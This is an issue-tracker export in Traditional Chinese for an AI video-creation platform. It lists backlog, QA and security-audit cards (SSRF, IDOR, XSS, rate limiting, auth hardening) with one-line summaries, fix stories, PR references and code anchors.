| AIDV-191 | 漏洞 | Backlo | Low  | [opt] apiUsage 成本查詢正確性/效能：deepCost 50k 截斷時 tot   | —    | 0 | 1 |
| AIDV-192 | 漏洞 | Backlo | Low  | [opt] orbConversations.appendMessages messageC   | #961 | 0 | 3 |
| AIDV-193 | 任務 | Backlo | Low  | [opt] classifyLLMError permanent_model 覓子字串『do   | #963 | 0 | 0 |
| AIDV-194 | 故事 | Backlo | Low  | [opt] providerSnapshotJob fal_ai/gemini 仍占位 sn   | #945 | 0 | 2 |
| AIDV-195 | 任務 | Backlo | Low  | [opt] in-scope 殼/面板硬編語意色 (amber/emerald/rose) 未走 | —    | 0 | 0 |
| AIDV-196 | 漏洞 | Backlo | Medi | [opt] orbClarificationEngine 意圖澄清引擎全為 no-op 槽，   | —    | 0 | 1 |
| AIDV-197 | 故事 | Backlo | Low  | [opt] voiceCompiler 情緒檔 EMOTION_PROFILES 寫死，未讀   | —    | 0 | 1 |
| AIDV-198 | 漏洞 | Backlo | High | [QA探查R7] worldbuilding 面板存角色/場景/世界觀全靜默丟失：8 pla   | —    | 0 | 0 |
| AIDV-199 | 漏洞 | Backlo | High | [QA探查R7] director.breakdown M3 路由缺失：引導式創作「自動拆解   | —    | 0 | 0 |
| AIDV-200 | 漏洞 | Backlo | High | [QA探查R7] /video 文字 AI 健康度盲區：providerReadiness    | —    | 0 | 3 |
| AIDV-201 | 漏洞 | Backlo | High | [資安巡檢C2] SSRF via 生成輸入 URL：director firstFrame   | —    | 0 | 0 |
| AIDV-202 | 漏洞 | Backlo | High | [資安巡檢C2] IDOR：promptLibrary.incrementUseCount    | —    | 0 | 1 |
| AIDV-203 | 漏洞 | Backlo | High | [資安巡檢C2] 上傳 finalize 內容嗅探 fail-open：Range GET    | —    | 0 | 0 |
| AIDV-204 | 故事 | 進行中    | High | [opt] ai.chat 供應商 4xx 時自動回退次選 LLM + providerRe   | —    | 0 | 1 |
| AIDV-205 | 故事 | 進行中    | High | [opt] director.analyzeScriptOverview schema 快修   | —    | 0 | 0 |
| AIDV-206 | 故事 | 進行中    | High | [opt] 四模態 Compiler 輸入 URL 白名單 + upload finaliz   | —    | 0 | 0 |
| AIDV-207 | 漏洞 | Backlo | High | [QA探查R8] teams.transferOwnership 不存在：team owne   | —    | 0 | 1 |
| AIDV-208 | 漏洞 | Backlo | High | [QA探查R8] apiUsage alertConfigs 創作者設定預算告警卻永不觸發—   | —    | 0 | 1 |
| AIDV-209 | 漏洞 | Backlo | Medi | [QA探查R8] learnHub admin CRUD 重啟即清空：內容團隊建立學習模組後   | —    | 0 | 0 |
| AIDV-210 | 漏洞 | Backlo | High | [資安巡檢C3] orbConversations 缺 userId 隔離：getConve   | —    | 0 | 2 |
| AIDV-211 | 漏洞 | Backlo | High | [資安巡檢C3] ai.chat / generation endpoints 無速率限制—   | —    | 0 | 1 |
| AIDV-212 | 漏洞 | Backlo | High | [資安巡檢C3] dataConnections 無 userId ownership 查驗   | —    | 0 | 2 |
| AIDV-213 | 故事 | Backlo | High | [opt] orbConversations 原子化 + UUID 遷移：DB transa   | —    | 0 | 2 |
| AIDV-214 | 故事 | Backlo | High | [opt] 假持久化三路收斂：worldbuilding + learnHub + aler   | —    | 0 | 1 |
| AIDV-215 | 故事 | Backlo | High | [opt] IDOR 全表 ownership guard + ai.chat rate-l   | —    | 0 | 2 |
| AIDV-216 | 漏洞 | Backlo | High | [QA探查R9] voiceCompiler 情緒語音忽略 customBlocks：創作者   | —    | 0 | 1 |
| AIDV-217 | 漏洞 | Backlo | High | [QA探查R9] /video segment 生成無即時進度回饋：按下生成後畫面凍結 60   | —    | 0 | 0 |
| AIDV-218 | 漏洞 | Backlo | High | [QA探查R9] teamInvite 接受邀請後成員 role 為 null：team-g   | —    | 0 | 1 |
| AIDV-219 | 漏洞 | Backlo | High | [資安巡檢C4] tRPC mutations 缺 CSRF 防護：非瀏覽器客端可跨站呼叫任   | —    | 0 | 2 |
| AIDV-220 | 漏洞 | Backlo | High | [資安巡檢C4] worldbuilding/learnHub 富文字欄位缺 XSS 過濾：   | —    | 0 | 1 |
| AIDV-221 | 漏洞 | Backlo | High | [資安巡檢C4] auth 端點 (login/register/resetPassword)  | —    | 0 | 0 |
| AIDV-222 | 故事 | Backlo | High | [opt] Teams 模組雙缺口收斂：transferOwnership + teamIn   | —    | 0 | 2 |
| AIDV-223 | 故事 | Backlo | High | [opt] 全域速率限制 middleware 收斂：Upstash sliding-win   | —    | 0 | 0 |
| AIDV-224 | 故事 | Backlo | High | [opt] CSRF + Stored XSS 雙層防禦收斂：x-trpc-source h   | —    | 0 | 1 |
| AIDV-225 | 漏洞 | Backlo | High | [QA探查R9b] orbClarificationEngine 全為 no-op 槽：光球   | —    | 0 | 1 |
| AIDV-226 | 漏洞 | Backlo | High | [QA探查R9b] /video 專案無「完成並匯出」流程：創作者完成所有片段後找不到匯出/   | —    | 0 | 0 |
| AIDV-227 | 漏洞 | Backlo | High | [QA探查R10] /video 無版本歷程與復原機制：創作者誤刪片段或腳本後無法還原——破   | —    | 0 | 1 |

| 卡號       | 型  | 狀態     | 優先   | 摘要                                                | PR   | 碼 | 表 |
|----------|----|--------|------|---------------------------------------------------|------|---|---|
| AIDV-228 | 漏洞 | Backlo | High | [QA探查R10] /video<br>片段生成完成後無即時預覽播放器：創作者無法在匯出前審視成品 | —    | 0 | 0 |
| AIDV-229 | 漏洞 | Backlo | High | [資安巡檢C5] /video 檔案上傳端點無 MIME 白名單 + 缺 content-l    | —    | 0 | 0 |
| AIDV-230 | 漏洞 | Backlo | High | [資安巡檢C5] JWT refresh token 無旋轉機制 + 缺 server-si    | —    | 0 | 0 |
| AIDV-231 | 故事 | Backlo | Medi | [opt] /video export pipeline 快取層收斂：合併成品 CDN si    | —    | 0 | 2 |
| AIDV-232 | 漏洞 | Backlo | High | [QA探查R11] /video<br>匯出完成後無「下載/分享」後置動作：成品生成後頁面無「點此 | —    | 0 | 0 |
| AIDV-233 | 漏洞 | Backlo | High | [QA探查R11] /video AI<br>分鏡生成失敗無單片段重試機制：片段失敗後創作者只能重 | —    | 0 | 0 |
| AIDV-234 | 漏洞 | Backlo | High | [QA探查R11] /video 字幕/CC 路由缺失：介面字幕佔位符存在但後端 endpo    | —    | 0 | 0 |
| AIDV-235 | 漏洞 | Backlo | High | [資安巡檢C6] JWT access token 存 localStorage：前端以 w    | —    | 0 | 0 |
| AIDV-236 | 漏洞 | Backlo | High | [資安巡檢C6] /video 片段生成進度 SSE/WebSocket 無驗票：任何知道     | —    | 0 | 1 |
| AIDV-237 | 故事 | Backlo | High | [opt] Export Chain 四重斷點全收斂：preview播放器 + export    | —    | 0 | 0 |
| AIDV-238 | 故事 | Backlo | High | [opt] Auth Session 三層硬化收斂：httpOnly cookie 替換 l    | —    | 0 | 0 |
| AIDV-239 | 漏洞 | Backlo | High | [QA探查R12] /video<br>片段生成後無拖曳重排序機制：創作者無法在不重生成的情況下調 | —    | 0 | 0 |
| AIDV-240 | 漏洞 | Select | High | [QA探查R12] /video token<br>用量回饋：創作者輸入超長腳本後靜默       | —    | 0 | 0 |
| AIDV-241 | 漏洞 | Backlo | High | [QA探查R12] /video<br>團隊協作編輯無衝突鎖定：兩個協作者同時編輯同一影片專案觸發 | —    | 0 | 0 |
| AIDV-242 | 漏洞 | Backlo | High | [資安巡檢C7] /video 片段生成端點無速率限制：攻擊者可無限次觸發 LLM+Fal.    | —    | 0 | 0 |
| AIDV-243 | 漏洞 | Backlo | High | [資安巡檢C7] /video 影片專案 ID 可枚舉 IDOR：videoProject.    | —    | 0 | 1 |
| AIDV-244 | 故事 | 進行中    | High | [opt] /video IDOR 全收斂：videoProject ownership c    | —    | 0 | 2 |
| AIDV-245 | 故事 | Backlo | High | [opt] /video SegmentCard 互動層三功能收斂：拖曳重排序 + 單片段重    | —    | 0 | 0 |
| AIDV-246 | 漏洞 | Backlo | High | [QA探查R13] /video<br>匯出影片無縮圖/封面幀選擇：系統自動取第一幀作為封面，創作 | —    | 0 | 0 |
| AIDV-247 | 漏洞 | Backlo | High | [QA探查R13] /video 生成前無畫面比例/格式選擇：所有影片固定 16:9 輸出，    | —    | 0 | 0 |
| AIDV-248 | 漏洞 | Backlo | High | [QA探查R13] /video<br>專案無複製/範本功能：創作者無法一鍵複製成功專案建立變體版 | —    | 0 | 0 |
| AIDV-249 | 漏洞 | Backlo | High | [資安巡檢C8] /video API CORS 配置過寬 + 缺少安全回應標頭：Acces    | —    | 0 | 0 |
| AIDV-250 | 漏洞 | Backlo | High | [資安巡檢C8] /video 腳本與專案名稱儲存前未 sanitize：user-cont    | —    | 0 | 0 |
| AIDV-251 | 故事 | 進行中    | High | [opt] Web 安全三層防禦收斂：CSP/HSTS/CORS 標頭 + DOMPurif    | —    | 0 | 0 |
| AIDV-252 | 故事 | Backlo | High | [opt] Fal.ai 派發參數動態化 + 格式選擇收斂：aspect_ratio / d    | —    | 0 | 0 |
| AIDV-253 | 故事 | Backlo | High | [opt] videoProject 生命週期三功能收斂：複製專案 + 快照版本歷程 + C    | —    | 0 | 0 |
| AIDV-254 | 漏洞 | Backlo | Medi | [QA探查R14] /video<br>旁白/A語音客製化缺失：創作者無法選擇語音風格——輸出品  | —    | 0 | 0 |
| AIDV-255 | 漏洞 | Backlo | Medi | [QA探查R14] /video<br>影片解析度/畫質選擇缺失：輸出固定規格——交付品質不達標  | —    | 0 | 0 |
| AIDV-256 | 漏洞 | Backlo | Medi | [QA探查R14] /video<br>批次影片生成缺失：單次只能生成一支影片——規模化交付受阻  | —    | 0 | 0 |
| AIDV-257 | 漏洞 | Backlo | Medi | [資安巡檢C9] /video SSRF：Fal.ai 呼叫傳入使用者控制 URL 未驗證白    | —    | 0 | 0 |
| AIDV-258 | 漏洞 | Backlo | Medi | [資安巡檢C9] /video Supabase DB 暫停->Auth 旁路：DB INAC   | —    | 0 | 1 |
| AIDV-259 | 故事 | 進行中    | Medi | [opt] C9 安全修補收斂：SSRF 防護 + Auth Fail-Closed——一次    | —    | 0 | 0 |
| AIDV-260 | 故事 | Backlo | High | [opt] /video 輸出規格全收斂：output_spec schema + aspe    | —    | 0 | 0 |
| AIDV-261 | 故事 | Backlo | Medi | [opt] Auth 基礎設施三層強化：fail-closed guard + /api/h    | —    | 0 | 0 |
| AIDV-262 | 漏洞 | Backlo | Medi | [資安巡檢C2] SSRF：未授權 /api/media/download 重定向/前綴繞過    | —    | 0 | 0 |
| AIDV-263 | 漏洞 | Backlo | Medi | [資安巡檢C2] Orb 語音 WS DoS：併發上限以 client userId 計（可    | —    | 0 | 0 |
| AIDV-264 | 漏洞 | Backlo | Medi | [資安巡檢C2] 認證 DoS：登入鎖定僅以 email 計數、無 IP 維度->可定向鎖死任   | —    | 0 | 0 |
| AIDV-265 | 漏洞 | Backlo | Medi | [資安巡檢C2] DoS 硬化：全域 50MB body 套所有路由/未授權 /api/pr    | #955 | 0 | 0 |
| AIDV-266 | 漏洞 | Backlo | High | [資安巡檢 healing-studio] vault.secrets 表未啟用 RLS，機    | —    | 0 | 0 |
| AIDV-267 | 漏洞 | Backlo | High | [資安巡檢 healing-studio] auth schema 中 7 張 OAuth/    | —    | 0 | 0 |
| AIDV-268 | 故事 | Backlo | High | [QA探查 R15] /video 缺少程式化影片建立 API：無 headless RES    | —    | 0 | 0 |
| AIDV-269 | 故事 | Backlo | High | [QA探查 R15] /video 缺少創作者端 Webhook/Callback：非同步生    | —    | 0 | 0 |

| 卡號       | 型    | 狀態     | 優先   | 摘要                                                    | PR | 碼 | 表 |
|----------|------|--------|------|-------------------------------------------------------|----|---|---|
| AIDV-270 | 故事   | Backlo | High | [QA探查 R15] /video<br>缺少多模態輸入支援：無法同時傳入影像 + 文字 + 音訊作為生成 | —  | 0 | 0 |
| AIDV-271 | 故事   | Backlo | High | [QA探查 R15] /video 匯出格式僅 MP4：無 WebM/GIF/ProRes         | —  | 0 | 0 |
| AIDV-272 | 故事   | Backlo | High | [QA探查 R15] /video<br>缺少影片分析數據看板：創作者無法追蹤影片觀看次數、完播率     | —  | 0 | 0 |
| AIDV-273 | 故事   | Backlo | High | [QA探查 R15] /video<br>創作者生成配額完全不透明：無用量儀表板、無剩餘額度顯示、     | —  | 0 | 1 |
| AIDV-274 | 故事   | Backlo | High | [QA探查 R15] /video AI Director 風格參數缺失：無視覺風格、節奏、        | —  | 0 | 0 |
| AIDV-275 | 故事   | 進行中    | High | [opt] Supabase RLS 全面補強收斂：vault.secrets + auth        | —  | 0 | 0 |
| AIDV-276 | 故事   | Backlo | High | [opt] 程式化 API 整合層收斂：headless REST + API key 鑑權        | —  | 0 | 1 |
| AIDV-277 | 故事   | Backlo | High | [opt] Creator 可見性智能層收斂：用量配額透明度 +<br>影片分析儀表板——一次 P     | —  | 0 | 1 |
| AIDV-278 | 故事   | Backlo | High | [QA探查 R10] /video<br>成品無線上播放器：生成完成後無試看入口，創作者只能盲下載     | —  | 0 | 0 |
| AIDV-279 | 故事   | Backlo | High | [QA探查 R10] /video<br>無分段重生成：成品品質不佳時只能全部重做，迭代成本極高      | —  | 0 | 0 |
| AIDV-280 | 漏洞   | Backlo | High | [資安巡檢C3] /video 成品 CDN URL<br>無簽名時效：任何人取得連結後可永久訪問     | —  | 0 | 0 |
| AIDV-281 | 漏洞   | Backlo | High | [資安巡檢C3] /video toast 通知 innerHTML 渲染：腳本內容含 HT        | —  | 0 | 0 |
| AIDV-282 | 故事   | Backlo | High | [opt] 成品交付體驗收斂：線上播放器 + 分段重生成——一次 PR 收斂<br>AIDV-27     | —  | 0 | 0 |
| AIDV-283 | 故事   | 進行中    | High | [opt] toast XSS 快修收斂：全站 innerHTML->textContent        | —  | 0 | 0 |
| AIDV-284 | 大型工作 | Backlo | Medi | Wave G：目標導向定位 · 自有素材 AI 專案管理系統（產品北極星）                 | —  | 0 | 0 |
| AIDV-285 | 故事   | Backlo | Medi | G-1 個人儲存空間（3–5GB 基礎）+ 個人雲端硬碟連接（未來 MCP<br>本機檔案直連）      | —  | 0 | 0 |
| AIDV-286 | 故事   | Backlo | Medi | G-2 成本與額度政策定盤（固定 vs<br>變動數字、模型訓練趨近免費 + 雲端算力配額）        | —  | 0 | 0 |
| AIDV-287 | 故事   | Backlo | Medi | G-3 設定簡化 + 提示詞自動收集（降低操作複雜度，好用 prompt<br>自動入庫）         | —  | 0 | 0 |
| AIDV-288 | 故事   | Backlo | Medi | G-4 平台對外 MCP 化／本機系統版（讓 Claude 等外部代理連結操作）——<br>研究向／    | —  | 0 | 0 |
| AIDV-289 | 漏洞   | Backlo | High | [QA探查R16] /video 多代理呼叫缺分散式追蹤：無 X-Request-ID/Tr        | —  | 0 | 0 |
| AIDV-290 | 漏洞   | Backlo | High | [QA探查R16] /video API 無 per-client 配額隔離：多代理共享 A        | —  | 0 | 0 |
| AIDV-291 | 故事   | Backlo | High | [QA探查R16] /video SSE job 訂閱無 agent namespace：多        | —  | 0 | 0 |
| AIDV-292 | 漏洞   | Backlo | High | [資安巡檢C4] /video job 建立端點無 rate limiting：單一帳號可無        | —  | 0 | 0 |
| AIDV-293 | 漏洞   | Backlo | High | [資安巡檢C4] /video tRPC input 無深度/大小限制：巢狀 JSON pa        | —  | 0 | 0 |
| AIDV-294 | 故事   | Backlo | High | [opt] DoS 防線三合一收斂：rate limiting + input size l        | —  | 0 | 0 |
| AIDV-295 | 故事   | 進行中    | High | [opt] 多代理可觀測性三合一收斂：X-Request-ID tracing + SSE         | —  | 0 | 0 |
| AIDV-296 | 大型工作 | Backlo | Medi | Wave T：團隊運作與管理（組別型<br>把治理零件整合成可實際運作的團隊）               | —  | 0 | 0 |
| AIDV-297 | 故事   | Backlo | Medi | T-1 組別模型 + 角色／Admin 定盤（組別實體 · 真實職責角色 · 誰是 Admi        | —  | 0 | 0 |
| AIDV-298 | 故事   | Backlo | Medi | T-2 統一管理台 Admin<br>Console（成員/角色/組別/配額/成本/稽核/資料治理     | —  | 0 | 0 |
| AIDV-299 | 故事   | Backlo | Medi | T-3 團隊運作 SOP（成員加入/離開 · 誰能拍板 · 創作端工作流）                 | —  | 0 | 0 |
| AIDV-300 | 故事   | Backlo | Medi | T-4 組別配額串接（組別 = 配額/成本單位：G-2 政策 × 124 引擎 × 14<br>歸屬）   | —  | 0 | 0 |
| AIDV-301 | 大型工作 | Backlo | Medi | Wave D：專案資料模型與運作（資料骨幹 · 上下文組裝 ·<br>跨組重用與提示詞共享）        | —  | 0 | 0 |
| AIDV-302 | 故事   | Backlo | Medi | D-1 專案資料模型 SSOT（物件 · 關聯 · 血統）                         | —  | 0 | 0 |
| AIDV-303 | 故事   | Backlo | Medi | D-2 專案上下文組裝（把專案脈絡組成 context 餵 AI · Wave G 關鍵層）        | —  | 0 | 0 |
| AIDV-304 | 故事   | Backlo | Medi | D-3 資料生命週期（草稿/進行/歸檔 · 版本 · 清理）                        | —  | 0 | 0 |
| AIDV-305 | 故事   | Backlo | Medi | D-4 跨專案/跨組別重用 + 團隊共享庫（組內共用 · 精選升級跨組）                  | —  | 0 | 0 |
| AIDV-306 | 故事   | Backlo | Medi | D-5 提示詞共享機制優化（標籤/搜尋/評分 · 模板變數 ·<br>組內分享 + 精選跨組）       | —  | 0 | 0 |
| AIDV-307 | 漏洞   | Backlo | Medi | [QA探查R17] /video videoProject 列表無分頁：重度用戶百支影片全量        | —  | 0 | 0 |
| AIDV-308 | 故事   | Backlo | Medi | [QA探查R17] /video SSE 斷線無狀態恢復：連線中斷後創作者不知 job<br>結果     | —  | 0 | 0 |

| 卡號       | 型  | 狀態     | 優先   | 摘要                                                           | PR | 碼 | 表 |
|----------|----|--------|------|--------------------------------------------------------------|----|---|---|
| AIDV-309 | 故事 | Backlo | Medi | [QA探查R17] /video<br>無影片專案複製/模板功能：重複型創作者每次從空白開始——系            | —  | 0 | 0 |
| AIDV-310 | 漏洞 | Backlo | Medi | [資安巡檢C5] /video 檔案上傳 MIME 類型未驗證：攻擊者可上傳 .html/.               | —  | 0 | 0 |
| AIDV-311 | 漏洞 | Backlo | Medi | [資安巡檢C5] /video CORS 配置過於寬鬆：Access-Control-Allow-Origin *    | —  | 0 | 0 |
| AIDV-312 | 漏洞 | Backlo | Medi | [資安巡檢C5] /video HTTP 安全 header 不完整：缺少 HSTS / X-Frame-Options | —  | 0 | 0 |
| AIDV-313 | 故事 | 進行中    | Medi | [opt] Security Headers 全收斂：CSP + HSTS + X-Frame-Options      | —  | 0 | 0 |
| AIDV-314 | 故事 | 進行中    | Medi | [opt] /video 列表效能 + SSE 可靠性雙收斂：cursor 分頁 + 斷線輪詢回             | —  | 0 | 0 |
| AIDV-315 | 故事 | 進行中    | Medi | [opt] 檔案上傳安全全收斂：magic bytes 驗證 + SVG 拒絕 + CDN                | —  | 0 | 0 |
| AIDV-316 | 故事 | Backlo | High | [QA探查R18] /video<br>多代理並行編輯同一專案無並發控制：後寫覆蓋前寫——多代理協            | —  | 0 | 0 |
| AIDV-317 | 故事 | Backlo | High | [QA探查R18] /video 缺少代理能力登記表（Agent Capability Registry）        | —  | 0 | 0 |
| AIDV-318 | 故事 | Backlo | Medi | [QA探查R18] /video<br>代理交接無正式紀錄：子任務完成後無交接協議——多代理管線斷            | —  | 0 | 0 |
| AIDV-319 | 漏洞 | Backlo | High | [資安巡檢C6] /video JWT 未驗證 audience（aud）宣告：跨服務 to               | —  | 0 | 0 |
| AIDV-320 | 漏洞 | Backlo | High | [資安巡檢C6] /video IDOR 風險：videoProject ID 為連續整數—               | —  | 0 | 0 |
| AIDV-321 | 漏洞 | Backlo | High | [資安巡檢C6] /video AI 生成端點缺少 SSRF 防護：攻擊者可注入惡意 URL               | —  | 0 | 0 |
| AIDV-322 | 故事 | 進行中    | High | [opt] 身份驗證安全雙收斂：SSRF URL 沙箱 + JWT audience 強制驗               | —  | 0 | 0 |
| AIDV-323 | 故事 | Backlo | High | [opt] 多代理路由基礎層收斂：並發鎖 + Capability Registry API               | —  | 0 | 0 |

A.3 逐卡展開（全 323 張：描述 + 程式碼 file:line + 資料表 + migration）

每張卡完整列出：摘要、型別/狀態/優先/labels/父卡、描述全文（節錄至約 480 字）、提及 PR、在 server/client/shared 的程式碼錨點（檔案:行號）、卡文連結之資料表、以及 migration 編號。

AIDV-1 4-shell 重構 (flag-gated)

故事 · 完成 · 優先 Medium · 父卡 AIDV-30

描述：PR #852-#861 已合併 main（2026-06-06/07）。ENABLE\_4SHELL 預設 OFF。驗收：tsc/scan/測試綠、旗標 OFF 零行為改變。https://github.com/aa0968111723-prog/healing-studio/pull/852

PR：#852, #861

程式碼錨點：（碼中無 AIDV-1 註記）

AIDV-2 Wave 0 三欄導演台正式碼

故事 · 完成 · 優先 Medium · 父卡 AIDV-30

描述：PR #862 已於 2026-06-11 合併 feat/4-shell-restructure（尚未回流 main）。驗收：tsc/scan/測試綠、旗標 OFF 逐像素一致。https://github.com/aa0968111723-prog/healing-studio/pull/862

PR：#862

程式碼錨點：（碼中無 AIDV-2 註記）

AIDV-3 互動原型（三欄導演台）

故事 · 完成 · 優先 Medium · 父卡 AIDV-30

描述：bruce882-ai-director-video-proto.static.hf.space

程式碼錨點：（碼中無 AIDV-3 註記）

AIDV-4 技術簡報（落地路線圖）

故事 · 完成 · 優先 Medium · 父卡 AIDV-30

描述：bruce882-ai-director-video-brief.static.hf.space（活文件）

程式碼錨點：（碼中無 AIDV-4 註記）

AIDV-5 Project SSOT：MOCK->真 creative\_projects

故事 · 完成 · 優先 Medium · 父卡 AIDV-31

描述：PR #863 已於 2026-06-12 合併 feat/4-shell-restructure。ENABLE\_PROJECT\_SSOT 旗標（4SHELL 之下預設 ON、線上 OFF）；active id 歸 WorldContext。依賴 #862。https://github.com/aa0968111723-prog/healing-studio/pull/863

PR：#862, #863

連結資料表（1）：creative\_projects

程式碼錨點：（碼中無 AIDV-5 註記）

AIDV-6 prompt\_assets junction 表

故事 · 完成 · 優先 Medium · 父卡 AIDV-31 · labels decision-resolved

描述：PR #864 已於 2026-06-12 合併 main。migration 0075 冪等可回滾；ENABLE\_PROMPT\_ASSET\_LINKS 預設 OFF；讀取：promptLibrary.linkedAssets / assets.linkedPrompts；admin backfill 已備。https://github.com/aa0968111723-prog/healing-studio/pull/864

PR：#864

連結資料表（2）：prompt\_assets, prompt\_library

Migration 編號：0075

程式碼錨點：（碼中無 AIDV-6 註記）

### AIDV-7 合流 feat/4-shell-restructure -> main

故事 · 完成 · 優先 Medium · 父卡 AIDV-31

描述：聚合 #862（導演台）+ #863（SSOT）回流 main。驗收：旗標 OFF 線上零變化、CI 綠。依賴 #862 #863。下一步建議。

PR：#862, #863

程式碼錨點：（碼中無 AIDV-7 註記）

### AIDV-8 junction backfill 真 DB 實跑

故事 · Backlog · 優先 High · 父卡 AIDV-31

描述：admin 呼叫 promptLibrary.backfillAssetLinks 並核對 totalLinked；可重跑冪等。依賴 #864 與 DATABASE\_URL 環境。

PR：#864

連結資料表（1）：[prompt\\_library](#)

程式碼錨點：（碼中無 AIDV-8 註記）

### AIDV-9 junction relation 寫入點（variant/rewrite/extended）

故事 · Backlog · 優先 High · 父卡 AIDV-31

描述：座艙重設/改寫/延長流程接上三種 relation。依賴 #864 與導演台流程。

PR：#864

程式碼錨點（1）：

- client/src/shells/video/drawers/VideoSettings.tsx:141

### AIDV-10 prompt\_library content 去重策略

故事 · 完成 · 優先 Medium · 父卡 AIDV-31 · labels decision-resolved

描述：生成鏈每次生成新插一列 prompt\_library（無去重）；同 prompt 聚合需拍板 upsert-by-content 或維持現狀。待 Bruce 拍板。（Blocked：板上無 Blocked 欄，以 label 表示）

連結資料表（1）：[prompt\\_library](#)

程式碼錨點（2）：

- server/services/postGenActions.ts:52

- server/services/postGenActions.ts:316

### AIDV-11 統一供應商門面 + Cloudflare AI Gateway

故事 · 完成 · 優先 Medium · 父卡 AIDV-31

描述：所有生成呼叫過統一門面；免費 Cloudflare AI Gateway 做快取/觀測。

程式碼錨點（2）：

- server/\_core/providerFacade.ts:2

- server/provider-facade.test.ts:2

### AIDV-12 其餘可接子系統接真實 procedure

故事 · 完成 · 優先 High · 父卡 AIDV-31

描述：18 子系統矩陣的 [完成]8 可接項；部分已在 #862 完成。逐項列實際 procedure 名。

PR：#862

程式碼錨點（15）：

- client/src/shells/video/panels/AssetsPanel.tsx:7

- client/src/shells/video/panels/AssetsPanel.tsx:17

- client/src/shells/video/panels/PromptsPanel.real.test.tsx:3

- client/src/shells/video/panels/PromptsPanel.real.test.tsx:46

- client/src/shells/video/panels/AssetsPanel.real.test.tsx:3

- client/src/shells/video/panels/AssetsPanel.real.test.tsx:43

- client/src/shells/video/panels/PromptsPanel.tsx:20

- client/src/shells/video/panels/PromptsPanel.tsx:108

- client/src/shells/video/console/workflowSteps.test.ts:2

- client/src/shells/video/console/workflowSteps.test.ts:27

- client/src/shells/video/console/workflowSteps.ts:42

- client/src/shells/video/console/CreationFlowBar.test.tsx:84

- client/src/shells/video/console/CreationFlowBar.test.tsx:92

- client/src/config/videoFlags.ts:90

- client/src/config/videoFlags.ts:100

### AIDV-13 任務耐久化 BulMQ+Redis+可重連 SSE

故事 · Backlog · 優先 High · 父卡 AIDV-32 · labels blocked,needs-key

描述：[高] \*\*建議提前到 Wave 1 尾段\*\*：in-memory generationBus 為單點脆弱，Railway 重啟／多副本部署即丟失在途任務、SSE 也接不回，屬「規模一來即炸」的必修項而非優化。（2026-06-16 依 Bruce 指示調整優先序，parent 暫留 Wave 2）殺 5 分鐘 timeout。驗收：任務跨重啟存活、SSE 斷線重連續傳。缺 Redis 金鑰（貼 Railway、勿寫頁面）。

程式碼錨點：（碼中無 AIDV-13 註記）

AIDV-14 內部成本歸屬可視 (依專案／成員／工作流落帳)

故事 · 完成 · 優先 High · 父卡 AIDV-32

描述： \*\*改定調為內部成本歸屬可視 (2026-06-16 依 Bruce 指示：AI Director 為團隊內部使用) \*\*。 原「點數制／對使用者收費／退點對帳」改為 \*\*內部成本歸屬\*\*：知道哪個專案／成員／工作流花了多少 API 成本，供內部管理與抓異常，\*\*不對使用者收費、不強制扣點\*\*。

配額／預算管控 (可選) 另開卡追蹤。 ## 範圍 \* 估->落帳 (歸屬到 project / member / workflow) ->失敗回沖，outbox 模式確保不漏帳。 \* 成本來源記錄哪個 provider／模型，供事後分析。 ## 驗收 \* cost\_aggregations 不再 \$0.00。 \* 可依專案／成員／工作流彙總查詢。 (原 P0「要給人用」理由已隨內部定位調整；依舊建議提前到 Wave 1 尾段，parent 暫留 Wave 2。)

連結資料表 (1)：cost\_aggregations

程式碼錨點 (31)：

- server/jobs/costAttributionOutboxJob.test.ts:2
- server/jobs/costAttributionOutboxJob.ts:2
- server/jobs/providerSnapshotJob.ts:157
- server/jobs/providerSnapshotJob.ts:175
- server/jobs/costLedgerReconcileJob.ts:6
- server/services/usageCost.ts:2
- server/services/cost/costAttribution.ts:2
- server/services/cost/costAttribution.ts:95
- server/services/cost/costAttribution.ts:212
- server/services/cost/costAttribution.ts:274
- server/services/cost/costAttribution.ts:418
- server/services/cost/catalogCostFallback.ts:2
- server/services/cost/catalogCostFallback.test.ts:2
- server/services/cost/ledger.ts:138
- server/services/cost/ledger.ts:166
- server/services/cost/ledger.ts:275
- server/services/cost/ledger.ts:325
- server/services/cost/costAttribution.test.ts:2
- server/routers/brainPipeline.ts:1242
- server/routers/apiUsage.ts:591
- server/routers/apiUsage.ts:607
- server/\_core/env.validated.ts:628
- server/currency-conversion.test.ts:13
- server/routes/aiProxy.ts:344
- server/routes/aiProxy.ts:348
- server/routes/aiProxy.ts:460
- server/routes/aiProxy.ts:487
- server/routes/aiProxy.ts:546
- server/routes/aiProxy.ts:554
- shared/currency.ts:40
- shared/currency.ts:43

AIDV-15 上傳改 signed URL/tus (廢 base64)

故事 · 完成 · 優先 High · 父卡 AIDV-32

描述： [高] \*\*建議提前到 Wave 1 尾段\*\*：base64 經 tRPC 使 payload／記憶體脹約 33%，大檔直接打爆 Railway 記憶體，屬「規模一來即炸」的必修項。 (2026-06-16 依 Bruce 指示調整優先序，parent 暫留 Wave 2) 大檔上傳不再過 tRPC body。

程式碼錨點 (18)：

- server/signedUpload.ts:2
- server/upload-presign-route.test.ts:2
- server/upload-presign-route.test.ts:268
- server/\_core/index.ts:404
- server/\_core/env.validated.ts:597
- server/uploadRoute.ts:579
- server/signed-upload.test.ts:2
- server/signed-upload.test.ts:106
- server/signed-upload.test.ts:143
- server/signed-upload.test.ts:175
- server/signed-upload.test.ts:207
- server/signed-upload.test.ts:246
- server/signed-upload.test.ts:265
- server/signed-upload.test.ts:287
- server/signed-upload.test.ts:312
- client/src/lib/upload.ts:12
- client/src/lib/upload.ts:155
- client/src/lib/upload.ts:182

AIDV-16 fal.ai 雙層生影片

故事 · Backlog · 優先 Low · 父卡 AIDV-32 · labels blocked,caution,needs-key

描述： 草稿 Seedance/Kling/Wan + 精修 Veo 3.1。缺 FAL\_KEY (貼 Railway)。注意：影片價以 fal 帳號頁為準。

程式碼錨點： (碼中無 AIDV-16 註記)

AIDV-17 migration 治理：孤兒 0071–0074 處置

故事 · 完成 · 優先 High · 父卡 AIDV-32 · labels caution,decision-resolved

描述：四個 .sql 未登記 journal (boot 警告 orphan、永不套用)。補登記會在下次部署突然套用 4 張表——需拍板：補登記或標廢棄。

Migration 編號：0071, 0074

程式碼錨點 (4)：

- server/migration-prod-pending-block.test.ts:40
- server/orphan-migrations-journal.test.ts:2
- server/orphan-migrations-journal.test.ts:11
- server/orphan-migrations-journal.test.ts:82

AIDV-18 M3 影片段落狀態機

故事 · Backlog · 優先 Lowest · 父卡 AIDV-33

描述：video\_generation\_sessions / segment\_jobs；段落級重試/續跑。規模 XL。依賴 Wave 2 耐久化。

